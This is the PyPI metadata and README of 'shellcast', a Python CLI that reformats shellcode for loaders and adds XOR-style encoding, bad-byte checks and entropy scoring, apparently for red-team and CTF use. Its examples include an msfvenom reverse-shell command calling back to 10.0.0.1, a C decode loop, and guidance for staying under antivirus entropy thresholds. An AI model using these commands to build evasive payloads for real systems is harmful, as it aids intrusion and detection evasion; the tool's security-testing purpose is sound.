Metadata-Version: 2.4
Name: shellcast
Version: 1.0.0
Summary: Convert raw shellcode into any target format from the CLI
License-Expression: MIT
Project-URL: Homepage, https://github.com/d7da/shellcast
Keywords: shellcode,exploit,ctf,red-team,security,payload
Classifier: Programming Language :: Python :: 3
Classifier: Operating System :: OS Independent
Classifier: Topic :: Security
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# shellcast

> Convert raw shellcode into any target format — C, Python, PowerShell, Rust, Go, C#, and more — with bad-byte detection, encoding schemes, and entropy analysis. From a file or stdin.

![demo](assets/demo.gif)

[![Python](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org)
[![License](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)

---

## The Problem

Every time you work with shellcode from msfvenom, a custom stub, or a CTF challenge you end up rewriting the same throwaway reformatting script. [ShellNoob](https://github.com/reyammer/shellnoob) exists but hasn't been touched since 2014, requires `gcc/as/objdump`, and has no PyPI package. [Sickle](https://github.com/wetw0rk/sickle-pdk) is powerful but has no encoding support and no `pip install`.

shellcast is the modern replacement: zero dependencies, pipe-friendly, 11 output formats, multiple encoding schemes, and entropy analysis in one focused tool.

---

## Installation

```bash
pip install shellcast
```

Requires Python 3.10+. No external dependencies.

Or run without installing:

```bash
python3 -m shellcast payload.bin --format c
```

---

## Quick Start

```bash
# pipe directly from msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw | shellcast --format c

# multiple formats at once
shellcast payload.bin --format c,python,powershell,rust

# check for bad bytes before embedding
shellcast payload.bin --avoid 00,0a,0d --format c

# XOR encode then format
shellcast payload.bin --encode xor:0xAB --format c,csharp

# full analysis in one shot
shellcast payload.bin --info --entropy --badchar-scan --format c
```
Replace *payload.bin* with your actual payload

---

## Usage

### Input

```bash
# from a raw binary file
shellcast payload.bin --format c

# from stdin
cat payload.bin | shellcast --format python

# from a hex string
shellcast --hex "fc4883e4f0" --format c
shellcast --hex "\xfc\x48\x83\xe4\xf0" --format c

# use a built-in test payload (no msfvenom needed)
shellcast --test-payload windows/x64/exec --format c
shellcast --test-payload linux/x64/shell --format python
```

### Output Formats

| Flag | Language | Use case |
|---|---|---|
| `c` | C / C++ | Loader development, exploit PoCs |
| `python` | Python | CTF scripts, exploit frameworks |
| `powershell` | PowerShell | Windows red team loaders |
| `csharp` | C# | .NET loaders, Cobalt Strike BOFs |
| `rust` | Rust | Modern loader development |
| `go` | Go | Cross-platform loaders |
| `java` | Java | JVM-based exploit delivery |
| `javascript` | JavaScript | Browser-based payloads |
| `bash` | Bash | Shell script delivery |
| `base64` | — | Transport and obfuscation |
| `hex` | — | Debuggers, hex editors, other tools |

```bash
# single format
shellcast payload.bin --format python

# multiple formats in one shot
shellcast payload.bin --format c,python,powershell,rust,go

# rename the output variable
shellcast payload.bin --format c --var buf

# write to file instead of stdout
shellcast payload.bin --format c -o payload.c
```

### Encoding

```bash
# XOR with key
shellcast payload.bin --encode xor:0xAB --format c

# bitwise NOT
shellcast payload.bin --encode not --format python

# ADD with key (wraps at 256)
shellcast payload.bin --encode add:0x05 --format c

# SUB with key (wraps at 0)
shellcast payload.bin --encode sub:0x05 --format c

# reverse byte order
shellcast payload.bin --encode rev --format hex
```

The loader should decode at runtime before execution. XOR example in C:

```c
for (int i = 0; i < shellcode_len; i++)
    shellcode[i] ^= 0xAB;
```

### Bad Byte Detection

Bad bytes are bytes that break shellcode delivery depending on context.

| Byte | Why it is dangerous |
|---|---|
| `0x00` | Null terminator -> truncates C strings at `strcpy`, `strlen`, `gets` |
| `0x0a` | Newline -> breaks line-based input functions like `fgets`, `scanf` |
| `0x0d` | Carriage return -> stripped by Windows line ending parsers |
| `0x20` | Space -> breaks whitespace-tokenized input and CLI arguments |

```bash
# warn if specific bytes are present (non-fatal, output still produced)
shellcast payload.bin --avoid 00,0a,0d --format c

# scan all bytes and auto-flag universally dangerous ones
shellcast payload.bin --badchar-scan
```

Bad byte warnings go to stderr. Formatted output still goes to stdout.
Pipe `2>/dev/null` to suppress warnings cleanly.

### Entropy Analysis

Shannon entropy measures how random your payload looks to AV scanners.

| Score | Meaning |
|---|---|
| 0.0 – 6.5 | Normal range — typical shellcode |
| 6.5 – 7.5 | Elevated — monitor |
| 7.5 – 8.0 | High — likely flagged by AV entropy detection |

```bash
shellcast payload.bin --entropy --format c
```

### Full Metadata

```bash
shellcast payload.bin --info --format c
```

Output:
```
[*] Size:     511 bytes
[*] Entropy:  5.84 / 8.00  (normal range)
[*] Encoding: xor:0xab
[*] Formats:  c
```

---

## Compared to Alternatives

| Feature | shellcast | ShellNoob | Sickle-PDK |
|---|---|---|---|
| `pip install` | ✅ | ❌ | ❌ |
| Zero dependencies | ✅ | ❌ | ❌ |
| Multi-format one shot | ✅ | ❌ | ❌ |
| Encoding schemes | ✅ | ❌ | ❌ |
| Bad byte detection | ✅ | ❌ | ✅ |
| Entropy analysis | ✅ | ❌ | ❌ |
| Pipe friendly | ✅ | ✅ | ✅ |
| Last updated | Currently Active | 2014 | Active |
| Formats | 11 | 12 | 20+ |

---

## Contributing

Issues and pull requests are welcome. Keep changes focused, this tool is
intentionally small. For feature ideas that extend scope, open a discussion
before writing code.

If you add a new output format, include a test in `tests/test_formats.py`.

---

## License

MIT
